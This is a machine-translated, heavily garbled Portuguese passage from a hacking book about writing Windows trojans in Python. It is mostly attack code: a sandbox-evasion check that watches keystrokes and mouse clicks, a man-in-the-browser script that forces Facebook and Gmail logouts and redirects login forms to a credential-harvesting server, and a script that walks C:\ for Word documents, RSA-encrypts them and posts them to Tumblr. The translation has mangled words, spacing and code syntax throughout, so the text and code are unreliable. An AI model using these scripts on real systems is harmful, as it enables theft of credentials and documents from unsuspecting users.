decorrido=RUN_TIMEstruct_lastinputinfo.dwTime
print"[*]Temsido%milissegundosddesdeoltimoeventodeentrada."%
decorrido

regressodecorrido
#TestarocdigoretirarapsESTENMERO!

enquantoTrue:

get_last_input()
time.sleep(1)

NsdefinimosumLASTINPUTINFOestruturaqueirrealizarocarimbodotempo(emmilissegundos)dequandooltimo
eventodeentradafoidetectadanosistema.NotequevoctemqueinicializarocbSizevarivelpara
otamanhodaestruturaantesdefazerachamada.Emseguida,chamaroGetLastInputInfofuno,
quepreencheonossostruct_lastinputinfo.dwTimecampocomotimestamp.Oprximopasso
determinarquantotempoosistemafoiexecutadousandoaGetTickCountchamadadefuno.Oltimo
pequenotrechodecdigoocdigodetestesimples,ondevocpodeexecutaroscripte,emseguida,movaomouseou
pressionarumateclanotecladoeverestenovopedaodecdigoemao.
Vamosdefinirlimitesparaestesvaloresdeentradadousurioprximos.Mas,primeiro,importantenotarqueototal
tempodefuncionamentodosistemaealtimadetectadaeventodeentradadousuriotambmpodeserrelevanteparaoseuespecial
mtododeimplantao.Porexemplo,sevocsabequevocsestimplantandousandoumatticadephishing,
entoprovvelqueumusuriotinhadeclicarourealizaralgumaoperaodeseinfectar.Issosignificaque
noltimominutooudois,vocveriaaentradadousurio.Seporalgummotivovocverqueamquina
foiexecutadopor10minutosealtimaentradadetectadafoide10minutosatrs,entoprovvel
dentrodeumasandboxquenoprocessouqualquerentradadousurio.Estesjulgamentossotodospartedeterum
boatrojanquefuncionadeformaconsistente.
Estamesmatcnicapodesertilparainterrogarosistemaparaverseumusurioestiverociosoouno,comovocpode
squercomearatirarscreenshotsquandoelesestoativamenteusandoamquina,edamesmaforma,vocpode
squeremtransmitirdadosouexecutaroutrastarefasquandoousuriopareceestaroffline.Vocpoderiatambm,
porexemplo,modelarumusurioaolongodotempoparadeterminaroquediasehorasqueelessotipicamenteonline.
Vamosapagarosltimostrslinhasdecdigodeteste,eadicionaralgumcdigoadicionalparaolharparaasteclasdigitadase
cliquesdomouse.VamosusarumpuroctypessoluodestavezcomooposioaomtodoPyHook.Vocpode
facilmenteusarPyHookparaestefim,bemcomo,masterumpardetruquesdiferentesemsuacaixadeferramentas
sempreajudacomocadaumantivrusesandboxingtecnologiatemsuasprpriasmaneirasdedetectaressestruques.
Vamoscomearacodificao:
get_key_pressdef():
mouse_clicksglobais
combinaesdeteclasglobais

foriinrange(0,0xff):
Seuser32.GetAsyncKeyState(i)==32767:
#0x1ocdigoparaumcliquedomouseesquerdo
seeu==0x1:
mouse_clicks+1=
regressotime.time()
elifi>32ei<127:
combinaesdeteclas+=1
Nenhumvoltar

Estafunosimplesnosdizqueonmerodecliquesdomouse,otempodoscliquesdomouse,bemcomoaforma
muitascombinaesdeteclasoalvotiveremitido.Issofuncionaporiteraosobreagamadechavesdeentradavlidos
paracadachave,queverificarseateclafoipressionadausandooGetAsyncKeyStatefuno
ligar.Seachavedetectadocomosendopressionado,vamosverificarse0x1,queocdigodeteclavirtualpara
esquerdacliquecomobotodomouse.Nsincrementaronmerototaldecliquesdomouseevoltaracorrente
timestampparaquepossamosexecutarclculosdetempomaistarde.TambmverifiquesehASCII
keypressesnotecladoesesim,nssimplesmenteincrementaronmerototaldecombinaesdeteclas
detectou.Agoravamoscombinarosresultadosdestasfunesemnossolaodedetecosandboxprimrio.
Adicioneoseguintecdigoparasandbox_detect.py:
detect_sandboxdef():
mouse_clicksglobais
combinaesdeteclasglobais

max_keystrokes
=Random.randint(10,25)
max_mouse_clicks=random.randint(5,25)
double_clicks
=0
max_double_clicks
=10
double_click_threshold=0,250#emsegundo
first_double_click
=None
average_mousetime
max_input_threshold

=0
=30000#emmilissegundos

previous_timestamp=None
detection_complete=False

last_inputget_last_input=()

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

73/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

#Sensbatemosnossolimitevamossocorrer
selast_input>=max_input_threshold:
sys.exit(0)
enquantonodetection_complete:

keypress_timeget_key_press=()
sekeypress_timenonenhumeprevious_timestampnoNone:

#Calcularotempoentreoscliquesduplos
decorrido=keypress_timeprevious_timestamp

#Ousurioduplaclicado
Sedecorrido<=double_click_threshold:
double_clicks+1=
sefirst_double_clickNone:
#Pegarocarimbodehoradoprimeirocliqueduplo
first_double_clicktime.time=()
outro:

sedouble_clicks==max_double_clicks:
sekeypress_timefirst_double_click<=.
(max_double_clicks*):double_click_threshold
sys.exit(0)

#Estamosfelizeshaentradadousurioosuficiente
Seasteclasdigitadas>=max_keystrokesedouble_clicks>=MAX_.
double_clicksemouse_clicks>=max_mouse_clicks:
Retorna

previous_timestamp=keypress_time
elifkeypress_timenoNone:
previous_timestamp=keypress_time

detect_sandbox()
imprimir"Estamosok!"

Tudocerto.Estejaconscientedorecuonosblocosdecdigoacima!Comeamospordefiniralgumasvariveis
paracontrolarotempodecliquesdomouse,ealgunslimitescomrelaoformacomomuitascombinaesdeteclasou
cliquesdomouseestamosfelizescomantesdeconsiderarnoscorrendoforadeumacaixadeareia.Ns
embaralharesseslimitescomcadacorrida,masvocpode,naturalmente,definirlimitesdesuaprpriabaseem
seusprpriostestes.
Emseguida,recuperarotempodecorridodesdealgumaformadeentradadousuriofoiregistradonosistema,
esenssentimosqueelepassoumuitotempodesdequensvimosdeentrada(combaseemcomoainfecoocorreucomo
mencionadoanteriormente),quesocorrereotrojanmorre.Emvezdemorreraqui,voctambmpodeescolher
parafazeralgumaatividadeincuacomoaleituradechavesderegistroaleatriasouverificararquivos.Depoispassamos
estaverificaoinicial,vamospassarparaonossousodotecladoedomousecliquecomolaodedetecoprimria.
Emprimeirolugar,verificaraexistnciadeteclaspressionadasoucliquesdomouseesabemosque,seafunoretornaumvalor,ele
otimestampdequandoocliquedomouseocorreu.Emseguida,calcularotempodecorridoentre
cliquesdomousee,emseguida,comparloaonossolimiteparadeterminarsefoiumduploclique.
Juntocomadetecodeduploclique,nsestamosolhandoparaverseooperadorsandboxfoifluindo
cliqueeventosnacaixadeareiaparatentartcnicasdedetecosandboxfalsosfora.Porexemplo,ele
seriabastanteestranhover100clicaduasvezesemumafileiraduranteousonormaldocomputador.Seomximo
nmerodeclicaduasvezesfoiatingidoequeaconteceuemrpidasucesso,nssocorrer.Nosso
passofinalparaversefizemosissoatravsdetodasasverificaeseatingimosonossonmeromximode
cliques,TeclaseclicaduasvezesSeassimfor,nssairdanossafunodedetecodecaixadeareia.
Encorajovosaajustarejogarcomasconfiguraes,eparaadicionarrecursosadicionais,comovirtual
detecomquina.Podesertilpararastrearousotpicoemtermosdecliquesdomouse,dumduplo
cliqueseteclasdigitadasatravsdealgunscomputadoresquevocpossui(querodizer,possuemenoaquelesquevoc
hackeado!)paraverondevocsesentirolocalfeliz.Dependendodoseualvo,vocpodequerermais
configuraesparanicoouvocnopodeestarpreocupadocomadetecodesandboxemtudo.Usandoasferramentasquevoc
desenvolvidonestecaptulopodeatuarcomoumacamadadebasederecursospararolarparaforaemsuatrojan,edevido
modularidadedonossoquadrotrojaning,vocpodeoptarporutilizarqualquerumdeles.
[17] BaixarPyHookaqui:http://sourceforge.net/projects/pyhook/.
[18] ParasabertudosobrecontextosdedispositivoeprogramaoGDI,visiteapginaMSDNaqui:http://msdn.microsoft.com/en

us/library/janelas/desktop/dd183553(v=VS.85).aspx.
[19] ComoCanvasumaferramentacomercial,dumaolhadanestetutorialparaageraodepaycargasMetasploitaqui:http://www.offensive

security.com/metasploitunleashed/Generating_Payloads.

Captulo9.FunwithInternetExplorer
automaoCOMjanelasserveumnmerodeusosprticos,deinteragircombasenarede
serviosparaaincorporaodeumaplanilhadoMicrosoftExcelemseuprprioaplicativo.Todasasversesde
OWindowsXPdefrentepermitemquevocincorporarumobjetoInternetExplorerCOMemaplicaes,
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

74/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

evamosaproveitaressacapacidadenestecaptulo.UsandooobjetodeautomaoIEnativa,vamos
criarumhomememataqueestilodenavegadorondepoderoubarascredenciaisdeumsiteenquantoumusurio
interagircomele.Nsvamosfazeresseataquederoubodecredenciaisextensvel,demodoquevriosalvo
sitespodemsercolhidas.OltimopassovaiusaroInternetExplorercomoummeiodedadosdeexfiltrate
umsistemadedestino.Vamosincluiralgunscriptografiadechavepblicaparaprotegerosdadosexfiltrateddemodoquesns
podedecifrlo.
InternetExplorer,vocdiz?MesmoqueoutrosnavegadorescomooGoogleChromeeMozillaFirefoxso
maispopularestesdias,amaioriadosambientescorporativosaindausamInternetExplorercomoseupadro
navegador.E,claro,vocnopoderemoveroInternetExplorerapartirdeumsistemaWindowsdemodoqueeste
tcnicadeveestarsempredisponvelparaoseutrojandoWindows.

ManintheBrowser(KindOf)
Maninthebrowser(MITB)ataquestenhamsidoemtornodesdeasuavezdeonovomilnio.Elesso
umavariaosobreoclssicoataquemaninthemiddle.Emvezdeactuarnomeiodeum
comunicao,malwareseinstalaeroubacredenciaisouinformaessensveisdo
navegadordoalvodesavisado.Amaioriadestasvariantesdemalware(normalmentechamadoNavegadorHelper
Objetos)inseresenodonavegadoroudeoutraformainjetarcdigodemodoqueelespodemmanipularo
seoprocessodonavegador.Comoosdesenvolvedoresdonavegadortornarsesbioaestastcnicaseantivrus
vendedoresprocuramcadavezmaisestecomportamento,temosqueterumpoucofurtivos.Aoalavancaronativo
interfaceCOMparaoInternetExplorer,podemoscontrolarqualquersessoIEafimdeobtercredenciaispara
sitesderedessociaisouloginsdeemail.Pode,claro,estenderessalgicaparaalterarumusuriodo
senhaourealizartransaescomasuasessodelogin.Dependendodoseualvo,vocpode
tambmusarestatcnicaemconjuntocomomdulodekeylogger,afimdeforlosare
autenticarseemumsiteenquantovoccapturarasteclasdigitadas.
VamoscomearcriandoumexemplosimplesquevaiprestaratenoparaumanavegaodousurionoFacebookouGmail,de
autenticlose,emseguida,modificaroformulriodeloginparaenviarseunomedeusurioesenhaparaumservidorHTTP
servidorquenscontrolar.OnossoservidorHTTP,ento,simplesmenteredirecionlosdevoltaparaapginadeloginreal.
SevocjfezqualquerdesenvolvimentoJavaScript,vocnotarqueomodeloCOMparainteragir
comoIEmuitosemelhante.EstamospegandonoFacebookeGmailporqueosusurioscorporativostmumadesagradvel
hbitodeambasassenhasreutilizaoeusaressesserviossempresas(sobretudo,otrabalhodeencaminhamento
mailparaoGmail,usandoFacebookconversarcomcolegasdetrabalho,eassimpordiante).Vamosracharmitb.pyeentrar
oseguintecdigo:
win32com.clientimportao
tempodeimportao
urlparseimportao
urllibimportao
data_receiver="http://localhost:8080/"

TARGET_SITES={}
TARGET_SITES["www.facebook.com"]=
{"Logout_url"
:Nenhum,
"Logout_form"
:"Logout_form",
"Login_form_index":0,
"possudo"
:False}
TARGET_SITES["accounts.google.com"]
=
{"Logout_url"
:"Https://accounts.google.com/
Sairhl=en&continue=https:?//accounts.google.com/
ServiceLogin%3Fservice%3Dmail",
"Logout_form"
:Nenhum,
"Login_form_index":0,
"possudo"
:False}
#UsaromesmoalvoparavriosdomniosdoGmail

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

75/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

TARGET_SITES["www.gmail.com"]=TARGET_SITES["accounts.google.com"]
TARGET_SITES["mail.google.com"]=TARGET_SITES["accounts.google.com"]
clsid='{9BA05972F6A811CFA44200A0C90A8F39}'
janelas=win32com.client.Dispatch(clsid)

Estessoosingredientesdenossaman(tipode)ataqueinthebrowser.Nsdefinimosanossadata_receiver
varivelcomooservidorwebquereceberascredenciaisdosnossossitesdedestino.Estemtodo
maisarriscadoemqueumusurioastutopodeveroredirecionamentoacontecer,assimcomoumprojetofuturoliodecasavocpoderia
pensaremmaneirasdepuxaroscookiesouempurrandoascredenciaisarmazenadasatravsdoDOMatravsdeumatagdeimagem
ououtrosmeiosqueparecemmenossuspeitos.Ns,ento,criarumdicionriodesitesdedestinoqueonossoataque
apoiar.Osmembrosdedicionriosocomosesegue:logout_urlumURLquepoderedireccionaratravsdeum
GETsolicitaoparaforarumusurioafazerlogoffologout_formumelementoDOMquepossamosapresentaresse
foraologofflogin_form_indexalocalizaorelativanoDOMdodomniodedestinoque
contmoformulriodeloginvamosmodificareapropriedadebandeiradiznossensjcapturado
credenciaisdeumsitededestino,porquenoqueremmanterforandoosalogarserepetidamenteouento
oalvopodesuspeitarquealgoparacima.Emseguida,usamosidentificaodeclassedoInternetExplorereinstanciaro
COMobjeto,oquenosdacessoatodasasguiaseinstnciasdoInternetExplorerqueestoatualmente
correndo.
Agoraquetemosaestruturadeapoionolugar,vamoscriaroloopprincipaldonossoataque:
whileTrue:

paraonavegadornoWindows:
url=urlparse.urlparse(browser.LocationUrl)

seurl.hostnameemTARGET_SITES:

seTARGET_SITES[url.hostname]["propriedade"]:
continuar

#SehouverumURL,quepodesimplesmenteredireccionar
SeTARGET_SITES[url.hostname]["logout_url"]:
browser.Navigate(TARGET_SITES[url.hostname]["logout_url"])
wait_for_browser(browser)

outro:

#Recuperartodososelementosnodocumento
full_doc=browser.Document.all

#Iterate,procurandoaformadelogout
foriinfull_doc:
experimentar:
#Encontraroformulriodelogouteapresentlo
Sei.id==TARGET_SITES[url.hostname]["logout_form"]:
eusubmeto()
wait_for_browser(browser)
exceto:
passar

#Agoransmodificaroformulriodelogin
experimentar:
login_index=TARGET_SITES[url.hostname]["login_form_index"]
login_page=urllib.quote(browser.LocationUrl)
browser.Document.forms[login_index].ao="%s%s"%(data_.
receptor,login_page)
TARGET_SITES[url.hostname]["propriedade"]=true
exceto:
passar
time.sleep(5)

Estaanossaprincipalloopondensmonitoramossessodonavegadordanossametaparaossitesapartirdoqualns
querprendercredenciais.ComeamosporiteraoatravsdetodososactualmenteemexecuoInternetExplorer
objetosissoincluiguiasativasnoIEmoderno.Sedescobrirmosqueametavisitarumdosnossos
locaispredefinidospodemoscomearaprincipallgicadonossoataque.Oprimeiropassodeterminarse
nsexecutamosumataquecontraestesitejseassimfor,novamosexecutlonovamente.(Istotemum
desvantagememqueseousurionodigitarsuasenhacorretamente,vocpodeperdersuascredenciaisDoente
deixaranossasoluosimplificadacomoumaliodecasaparamelhoraremcima.)

Emseguida,testamosparaverseositededestinotemumaURLdelogoutsimplesquepodemosredirecionarparaeseassimfor,ns
foraronavegadorafazlo.Seositededestino(comooFacebook)exigequeousurioenviarumformulriopara
forarologout,comeamosaiteraosobreoDOMequandodescobrimosoelementoHTMLID
queestregistradoparaoformulriodelogout,foramosoformulrioaserenviado.Depoisqueousuriotemsido
redirecionadoparaoformulriodelogin,modificamosopontofinaldoformulriopararegistaronomedeusurioesenhapara
umservidorquenscontrolamos,edepoisesperarqueousuriorealizeumlogin.Observequeaadernciado
hostnamedonossositealvoparaofinaldaURLdonossoservidorHTTPquecoletaascredenciais.
EsteentoonossoservidorHTTPsabeositepararedirecionarobrowserparadepoisderecolherascredenciais.
Vocvainotarafunowait_for_browserreferenciadoemalgunspontosacima,queumasimples
funoqueesperaumnavegadorparaconcluirumaoperao,comonavegarparaumanovapginaou
esperadeumapginaparacarregartotalmente.Vamosadicionarestafuncionalidadeagora,inserindooseguintecdigo
acimadoloopprincipaldonossoscript:
wait_for_browserdef(browser):
#Esperaparaonavegadorparaterminarocarregamentodeumapgina
enquantobrowser.ReadyState=4ebrowser.ReadyState="complete"!:
time.sleep(0,1)
Retorna

Muitosimples.EstamosapenasprocurandooDOMparasercompletamentecarregadoantesdepermitirqueorestodanossa
roteiroparamanteraexecuo.IssonospermitetempocomcuidadoquaisquermodificaesDOMouanlise
operaes.

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

76/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

Criandooservidor
Agoraquenscriamosnossoscriptdeataque,vamoscriarumservidorHTTPmuitosimplespararecolhero
credenciaiscomoelessoapresentados.Crackabrirumnovoarquivochamadocred_server.pyesoltarna
seguintecdigo:
importaoSimpleHTTPServer
importaoSocketServer
urllibimportao
classeCredRequestHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
defdo_POST(self):
content_length=int(self.headers['ContentLength'])
creds=self.rfile.read(content_length).decode('utf8')

credsdeimpresso

local=self.path[1]:
self.send_response(301)

self.send_header('Location',urllib.unquote(local))
self.end_headers()

servidor=SocketServer.TCPServer(('0.0.0.0',8080),CredRequestHandler)
server.serve_forever()

EstasimplestrechodecdigoonossoservidorHTTPespecialmenteconcebido.NsinicializarabasedeTCPServer
classecomoIP,portaeCredRequestHandlerclassequeserresponsvelpelotratamentodo
solicitaesHTTPPOST.Quandoonossoservidorrecebeumasolicitaodonavegadordoalvo,lemoso
ContentLengthcabealhoparadeterminarotamanhodeopedido,e,emseguida,vamosleremoscontedosde
opedidoeimprimilos.Ns,ento,analisarositedeorigem(Facebook,Gmail,etc.)
eforaronavegadordedestinopararedirecionarvoltaparaapginaprincipaldositededestino.Umadicional
recursoquevocpoderiaacrescentaraquienviarteumemailacadacredenciaisdetemposorecebidasdemodoquevoc
podetentarfazerloginusandoascredenciaisdoalvoantesqueelestenhamumachancedemudarsuasenha.
Vamoslevlaparaumarodada.

Chutarospneus
FogoatumanovainstnciaIEeexecutaroseumitb.pyecred_server.pyroteirosemjanelasseparadas.Vocs
podetestarnavegandoemtornodevriossitesparatercertezadequevocnoestvendonenhumestranho
comportamento,quevocnodeve.AgoranavegueparaoFacebookouoGmailetentarfazerologin.Emsua
cred_server.pyjanela,vocdeveveralgocomooseguinte,usandooFacebookcomoumexemplo:
C:\>python.execred_server.py
lsd=AVog7IRe&email=justin@nostarch.com&pass=pyth0nrocks&default_persistent=0&
timezone=180&lgnrnd=200229_SsTf&lgnjs=1394593356&locale=en_US
localhost[12/Mar/201400:03:50]"POST/www.facebook.comHTTP/1.1"301

Vocpodeverclaramenteascredenciaisdechegar,eoredirecionamentopeloservidorchutaronavegadordevolta
file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

77/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

paraateladeloginprincipal.Claro,voctambmpoderealizarumtesteondevoctemInternetExplorer
correndoevocjestconectadoaoFacebookemseguida,tenteexecutaroseumitb.pyroteiroevocpode
vercomoeleforaasair.Agoraquepodemosprenderascredenciaisdousuriodessamaneira,vamosvercomo
podemosgerarIEparaajudarexfiltrateinformaesdeumaredededestino.

IEAutomationCOMparaExfiltrao
Teracessoaumaredededestinoapenasumapartedabatalha.Parafazerusodoseuacesso,vocquer
sercapazdeexfiltratedocumentos,planilhasououtrospedaosdedadosforadosistemadedestino.Dependendo
osmecanismosdedefesanolugar,estaltimapartedoseuataquepoderevelarsecomplicado.Podehaver
sistemaslocaisouremotos(ouumacombinaodeambos)quetrabalhoparavalidarosprocessosdeaberturaremoto
conexes,bemcomoseessesprocessosdevemsercapazesdeenviarinformaesouiniciar
conexesforadaredeinterna.Uminvestigadorcompanheirodeseguranacanadense,KarimNathoo,
salientouqueaautomaoIECOMtemamaravilhosavantagemdeusaroIexplore.exeprocesso,
quenormalmentedeconfianaenalistadepermisses,paraexfiltrateinformaesapartirdeumarede.
NsvamoscriarumscriptPythonqueirprimeirocaarparadocumentosdoMicrosoftWordnosistemadearquivoslocal.
Quandoumdocumentoencontrado,oscriptircriptograflousandocriptografiadechavepblica.[20]Apsa
documentocriptografado,vamosautomatizaroprocessodeenviododocumentocriptografadoparaumblogsobre
tumblr.com.Istoirpermitirnosparadeadsolteodocumentoerecuperarloquandonsqueremosquesem
ningumsercapazdedecifrlo.Aoutilizarumsiteconfivel,comoTumblr,tambmdevesercapazde
desvioqualquerlistanegraqueumfirewallouservidorproxypodeter,quepoderiamimpedirnosdeapenas
enviarodocumentoparaumendereoIPouservidorwebquepodemoscontrolar.Vamoscomearporcolocaralgum
apoiarfunesemnossoscriptexfiltrao.Abraie_exfil.pyeinsiraoseguintecdigo:
win32com.clientimportao
importos
fnmatchimportao
tempodeimportao
importaoaleatria
zlibimport
deCrypto.PublicKeyimportaoRSA
dePKCS1_OAEPimportaoCrypto.Cipher
doc_type
=".doc"
nomedeusurio
="Jms@bughunter.ca"
senha
="JustinBHP2014"

public_key=""
wait_for_browserdef(browser):
#Esperaparaonavegadorparaterminarocarregamentodeumapgina
enquantobrowser.ReadyState=4ebrowser.ReadyState="complete"!:
time.sleep(0,1)
Retorna

Nssestamoscriandonossasimportaes,ostiposdedocumentosqueirprocurar,nossonomedeusurioTumblr
esenhaeumespaoreservadoparaanossachavepblica,quegeraremosmaistarde.Agoravamosadicionaronosso
rotinasdecriptografiaparaquepossamoscriptografarocontedodearquivoearquivos.
encrypt_stringdef(textosimples):

chunk_size=256
print"Acompactao:%dbytes"%len(textosimples)
plaintext=zlib.compress(textosimples)
impresso"Criptografia%dbytes"%len(textosemformatao)
rsakey=RSA.importKey(public_key)

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

78/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin

rsakey=PKCS1_OAEP.new(rsakey)
encriptada=""
compensar =0
enquantodeslocamento<len(textosimples):

pedao=textosimples[offset:offset+chunk_size]

iflen(pedao)%chunk_size=0!
pedao+=""*(chunk_sizelen(pedao))
criptografados+=rsakey.encrypt(pedao)
compensar +=Chunk_size

criptografado=encrypted.encode("base64")
print"Base64codificadocripto:%d"%len(criptografados)
voltarcriptografado

encrypt_postdef(filename):
#Abrirelerofile
fd=open(filename,"rb")
contents=fd.read()
fd.close()

encrypted_title=encrypt_string(filename)
encrypted_body=encrypt_string(contedos)
voltarencrypted_title,encrypted_body

Nossaencrypt_postfunoresponsvelportomarnonomedoarquivoeretornandotantoocriptografado
nomedoarquivoeocontedodearquivoscriptografadosemformatocodificadoembase64.Nsprimeirochamarocarrochefeprincipal
funoencrypt_string,passandoonomedonossoarquivodedestinoquesetornarottulode
nossopostnoTumblr.Oprimeiropassodonossoencrypt_stringfunoadeaplicaracompressozlib
noarquivoantesdeconfiguraronossoobjetodechavepblicaRSAcriptografiausandoonossopblicogerado
chave.Entocomeamosumcicloatravsdocontedodoarquivoecriptograflosemblocosde256bytes,que
otamanhomximodecriptografiaRSAusandoPyCrypto.Quandonosdeparamoscomoltimopedaodoarquivo
,seeleno256bytesdecomprimento,quepadlocomespaosparagarantirquenspodemoscomsucessocriptografarloe
descriptografarlanooutrolado.Depoisqueconstruirtodaanossacadeiadetextocifrado,ns,base64codificlo
antesdedevolvlo.UsamosacodificaoBase64paraquepossamospubliclaemnossoblogTumblr,sem
problemasouproblemasdecodificaoestranhas.
Agoraquetemosasnossasrotinasdecriptografiacriadas,vamoscomearaadicionarnalgicadelidarcomoregisto
enavegarnopainelTumblr.Infelizmente,nohnenhumamaneirarpidaefcildeencontrarIU
elementosnaWeb:Eusimplesmentepassou30minutosusandooGoogleChromeesuasferramentasdedesenvolvimentopara
inspecionarcadaelementoHTMLqueeuprecisavaparainteragircom.
TambmimportantenotarqueapginadeconfiguraesdoTumblr,euvireiomododeediodetextosimples,
quedesativaoseueditorbaseadoemJavaScripttraquina.Sevocquiserusarumserviodiferente,entovoc
tambmvaiterquedescobriromomentopreciso,interaesDOM,eelementosHTMLqueso
necessrioporsorte,Pythontornaapeadeautomaomuitofcil.Vamosadicionarmaisalgumcdigo!
defrandom_sleep():
time.sleep(random.randint(5,10))
Retorna
login_to_tumblrdef(IE):

#Recuperartodososelementosnodocumento
full_doc=ie.Document.all
#Iterateprocurandooformulriodelogin
foriinfull_doc:
sei.id=="signup_email":
i.setAttribute("value",nomedeusurio)
elifi.id=="signup_password":
i.setAttribute("value",password)
random_sleep()

#Vocpodeserapresentadocomdiferenteshomepages
seie.Document.forms[0].id=="signup_form":
ie.Document.forms[0].submit()
outro:
ie.Document.forms[1].submit()
excetoIndexError,e:
passar
random_sleep()
#Oformulriodeloginosegundoformulrionapgina
wait_for_browser(ie)
Retorna

Nscriamosumafunosimpleschamadarandom_sleepquevaidormirporumperododetempoaleatrioesta
projetadoparapermitirqueonavegadorparaexecutartarefasquepodemnoregistareventoscomoDOMpara
sinaldequeelesestocompletos.Almdisso,fazcomqueonavegadorparecemserumpoucomaishumano.Nosso
login_to_tumblrfunocomeaporrecuperartodososelementosemoDOM,eolhaparaoemail
esenhacamposedefinelosparaascredenciaisquefornecemos(noseesqueadeseinscreveruma
conta).Tumblrpodeapresentarumateladeloginligeiramentediferenteacadavisita,entooprximopedaodecdigo
simplesmentetentaaencontrarologindoformulrioeenviarloemconformidade.Apsessecdigoexecutado,quedeve
agoraserconectadoaopainelTumblreprontoparapostaralgumasinformaes.Vamosadicionaressecdigo
agora.
post_to_tumblrdef(ouseja,ttulo,ps):
full_doc=ie.Document.all
foriinfull_doc:
sei.id=="post_one":
i.setAttribute("value",ttulo)
title_box=i

file:///C:/Program%20Files%20(x86)/Free%20PDF%20Solutions/BlackHat.Python_%20Python.Programming.for.Hackers.and.Pentesters_[www.gray

79/114

17/02/2016

C:\Users\Johan\Desktop\Johan\Hacker\Minhapasta\BlackHat.Python_Python.Programming.for.Hackers.and.Pentesters_[www.graymin
i.focus()
elifi.id=="post_two":
i.setAttribute("innerHTML",post)
imprimir"Definirreadetexto"
i.focus()
elifi.id=="create_post":
print"Encontradobotopost"
post_form=i
i.focus()

#Moverofocoparalongedacaixadecontedoprincipal
random_sleep()
title_box.focus()
random_sleep()

#Enviaroformulrio
post_form.children[0].click()
wait_for_browser(ie)
random_sleep()
Retorna

Nadadistocdigodevesermuitonovonestemomento.EstamosnacaasimplesmenteatravsdoDOMparaencontrar
ondepostarottuloeocorpodapostagemdoblog.Opost_to_tumblrfunosrecebeuma
instnciadonavegadoreonomedoarquivocriptografadoecontedodoarquivoparaenviarmensagens.Umpequenotruque(aprendidas
observandoseemferramentasdedesenvolvimentodoChrome)quetemosdemudarofocodedistnciadocontedoprincipal
partedopostparaqueJavaScriptdoTumblrpermitequeobotoPost.Estespequenostruquessutisso
importanteparaanotarcomovocaplicarestatcnicaaoutrossites.Agoraquepodelogarepostar
Tumblr,vamoscolocarostoquesfinaisnolugarparaonossoscript.
defexfiltrate(document_path):

isto,=win32com.client.Dispatch("InternetExplorer.Application")
ie.Visible=1
#CabeaparaTumblrelogin
ie.Navigate("http://www.tumblr.com/login")
wait_for_browser(ie)
print"Login..."
login_to_tumblr(ie)
print"Sessoiniciada...navegao"
ie.Navigate("https://www.tumblr.com/new/text")
wait_for_browser(ie)
#Criptografaroarquivo
ttulo,corpo=encrypt_post(document_path)
imprimir"Criarnovamensagem..."
post_to_tumblr(ouseja,ttulo,corpo)
print"Postado!"

#DestruirainstnciaIE
ie.Quit()
ie=None
Retorna

#Loopprincipalparaadescobertadedocumentos
#NOTA:nenhumaguiaparaaprimeiralinhadecdigoabaixo
parapais,diretrios,nomesdearquivosemos.walk("C:\\"):
parafilenameemfnmatch.filter(nomesdearquivos,"*%s"%doc_type):
document_path=os.path.join(pai,filename)
imprimir"Encontrado:%s"%document_path
exfiltrate(document_path)
raw_input("Continuar?")

NossaExfiltratefunooquechamaremosparacadadocumentoquedesejaarmazenarnoTumblr.isto
primeirocriaumanovainstnciadoobjetoInternetExplorerCOMeacoisainteressantequevoc
podedefiniroprocessoaservisveisouno.Paradepurao,deixlodefinidocomo1,masparaomximodediscrio
vocdefinitivamentequerconfigurlopara0.Istorealmentetilse,porexemplo,otrojandetectaoutraatividade
indonessecaso,vocpodecomearexfiltratingdocumentos,oquepodeajudaramisturaraindamaisasua
emactividadescomquedoutilizador.Depoischamamostodasasnossasfunesauxiliares,nssimplesmentemataronossoIE
instnciaeregresso.OltimopedaodenossoscriptresponsvelporrastreamentoatravsdoC:\unidade
nosistemadedestinoetentarigualaranossaextensodearquivopredefinido(.doc,nestecaso).Cadavezqueum
arquivoforencontrado,nssimplesmentepassarocaminhocompletodoarquivoparaonossoExfiltratefuno.
Agoraquetemosonossocdigoprincipalprontoparair,precisocriarumarpidaesujageraodechavesRSA
roteiro,bemcomoumroteirodedescriptografiaquepodemosusarparacolaremumpedaodetextoTumblrcriptografadase
recuperarotextosimples.Vamoscomearporabrirkeygen.pyeinserindooseguintecdigo:
deCrypto.PublicKeyimportaoRSA
new_key=RSA.generate(2048,e=65537)
public_key=new_key.publickey().exportKey("PEM")
private_key=new_key.exportKey("PEM")
public_keydeimpresso
private_keydeimpresso

issomesmoPythontomauburroquepodemosfazloemumpunhadodelinhasdecdigo.Esteblocodecdigo
sadasdeambosumpardechavespblicaseprivadas.Copiarachavepblicaparaaie_exfil.pyscript.Emseguida,abra
umnovoarquivoPythonchamadadecryptor.pyeinsiraoseguintecdigo(coleachaveprivadaparao
private_keyvarivel):
zlibimport
base64importao
deCrypto.PublicKeyimportaoRSA
dePKCS1_OAEPimportaoCrypto.Cipher
